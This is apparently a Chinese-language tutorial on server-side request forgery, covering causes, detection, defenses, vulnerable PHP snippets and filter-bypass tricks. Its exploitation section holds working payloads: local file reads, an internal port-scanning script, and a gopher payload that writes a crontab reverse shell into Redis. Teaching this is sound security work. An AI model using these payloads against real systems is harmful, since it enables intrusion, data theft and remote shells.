SSRF漏洞简介
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
形成原因
由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
SSRF漏洞原理
通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。
漏洞原理演示:
使用百度查询本机IP:
同样是本机IP,但是如果使用百度翻译这个网页:
出现这样的情况,就是SSRF漏洞,百度翻译这个网页执行了本身的翻译服务,而搜索IP也执行了他本身的搜索服务,这样百度翻译就把自己的IP发送给www.ip138.com这个网址,IP翻译出来的结果就是百度翻译服务器所在的外网IP。
SSRF漏洞危害
1.扫描内网开放服务
2.向内部任意主机的任意端口发送payload来攻击内网服务
3.DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
4.攻击内网的web应用,例如直接SQL注入、XSS攻击等
5.利用file、gopher、dict协议读取本地文件、执行命令等
可能出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
12.一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
13.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
几种可利用的攻击
1、端口扫描(可扫描内网,本地等设备,可通过端口banner信息进行判断)
2、对内网,本地运行的程序进行溢出攻击等
3、获取本地文件(file协议)
4、对内网,外网的web应用进行攻击(get提交)
5、内网应用指纹识别(通过判断特定文件来识别web应用使用的框架,平台,模块及CMS等)
6、邮件系统(接受邮件服务器地址)
7、请求远程服务器资源的地方
SSRF漏洞的验证方法
1、先使用排除法判断漏洞是否存在:
http://www.example.com/**/service?image=http://www.target.com/img/img.png这个IP中,如果跳转到的IP地址和直接打开图片img.png的地址相同,则一般不存在SSRF漏洞
或者可以通过抓包软件burpsuite来实现,原理是因为请求图片是由服务端发起的,理论上本机发出去的请求中不包含有请求图片的数据包,如果发现主机存在图片请求包,则可判断该地址不存在SSRF,即没有通过服务器跳转。
2、再使用实例验证漏洞是否可行:
先通过漏洞平台或搜索引擎找出历史存在的该服务器能够访问到内网地址
再将该内网地址放在http://www.example.com/**/service?image=内网地址,观察是否有返回其他信息
如何防御漏洞
1、在内网设备上建立黑名单内网IP,禁止公开服务器的访问
2、过滤返回信息,对响应用户请求的返回信息进行验证
3、禁用端口banner信息
4、禁用不必要的协议,防止file协议等
5、根据业务需求设定URL格式。防止攻击者构建攻击语句
6、统一错误信息,避免攻击者根据错误信息判断端口状态
7、限制请求端口
产生SSRF的PHP函数
1.file_get_contents()
该函数的作用是将整个文件读入一个字符串中
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='images/'.rand().'img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
2.fsockopen()
该函数用于打开一个网络连接或者一个Unix套接字连接
<?php
function GetFile($host,$port,$link)
{
$fp=fsockopen($host,int($port),$errno,$errstr,30);
if(!fp)
{
echo "$errstr(error number $errno)\n";
}
else
{
$out="GET $link HTTP/1.1\r\n";
$out.="Host:$host\r\n";
$out.="Connection:Close\r\n\r\n";
$out.="\r\n";
fwrite($fp,$out);
$contents="";
while(!feof($fp))
{
$contents.=fgets($fp,1024);
}
fclose($fp);
return $contents;
}
}
?>
3.curl_exec()
该函数可以执行给定的 curl 会话。
<?php
if(isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj=curl_init();
curl_setopt($curlobj,CURLOPT_POST,0);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($curlobj,CURLOPT_URL,$link);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename='../images/'.rand().'.jpg';
file_put_contents($filename,$result);
$img="<img src=\"".$filename."\"/>";
echo $img;
}
?>
常见绕过方法
1.攻击本地
http://127.0.0.1:80
http://localhost:22
2.利用[::]
http://[::]:80 = http://127.0.0.1:80
3.利用@
http://[email protected]
http://[email protected]与http://10.10.10.10请求是相同的
4.短地址
http://dwz.cn/11SMa = http://127.0.0.1
5.特殊域名
如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1
可以用以下特殊网址绕过:xip.io,nip.io,sslip.io
https://127.0.0.1.xip.io = http://www.baidu.com.127.0.0.1.xip.io
原理是DNS解析,只不过这个是人家已经设置好的;
6.利用DNS解析
在域名上设置A记录,指向127.0.0.1,同上
7.利用封闭式字母数字(Enclosed alphanumerics)
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
8.利用句号
127。0。0。1 = 127.0.0.1
9.利用上传
不一定能行
文件上传时,修改上传类型"type=file"为"file=url",即存在可能触发SSRF
10.进制转换
转成十六、八均可;
转成十六格式:http://0x7f.0.0.1 = http://127.0.0.1
转成八进制格式:http://0177.0.0.1 = http://127.0.0.1
http://127.0.0.1/ = http://2130706433/
注:
八进制ip前要加上一个0
其中八进制前面的0可以为多个
十六进制前要加上一个0x
脚本如下:
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
11.特殊地址
http://0/
并不等于127.0.0.1
12.利用协议
Dict://
dict://@:/d:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
12.添加端口号
http://127.0.0.1:8080
http://127.1/ 0的数量多一点少一点都没影响
http://127.00000.00000.001/ 0的数量多一点少一点都没影响
14.组合拳
漏洞利用
本地利用
curl支持大量的协议,例如file, dict, gopher, http
利用file协议查看文件
curl -v 'file:///etc/passwd'
利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
远程利用
1.无限制
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
利用方式
利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
2.限制协议为HTTP、HTTPS
设置跳转重定向为True(默认不跳转)
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
利用方式
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
探测内网
ssrf最常见的就是探测内网
一个通用脚本
爆破指定的一些端口和IP的D段
# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
ip = '192.168.0.%d' % i #内网ip地址
for port in ports:
url = 'http://ip/?url=http://%s:%s' %(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0 : #这里长度根据实际情况改
print(ip,port,'is open')
except:
continue
print('Done')
攻击Redis服务
Redis一般都是绑定在6379端口
如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis
一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等
工具gopherus
攻击Mysql服务
如果内网开启了3306端口,存在没有密码的mysql
则也可以使用gopher协议进行ssrf攻击
还是工具gopherus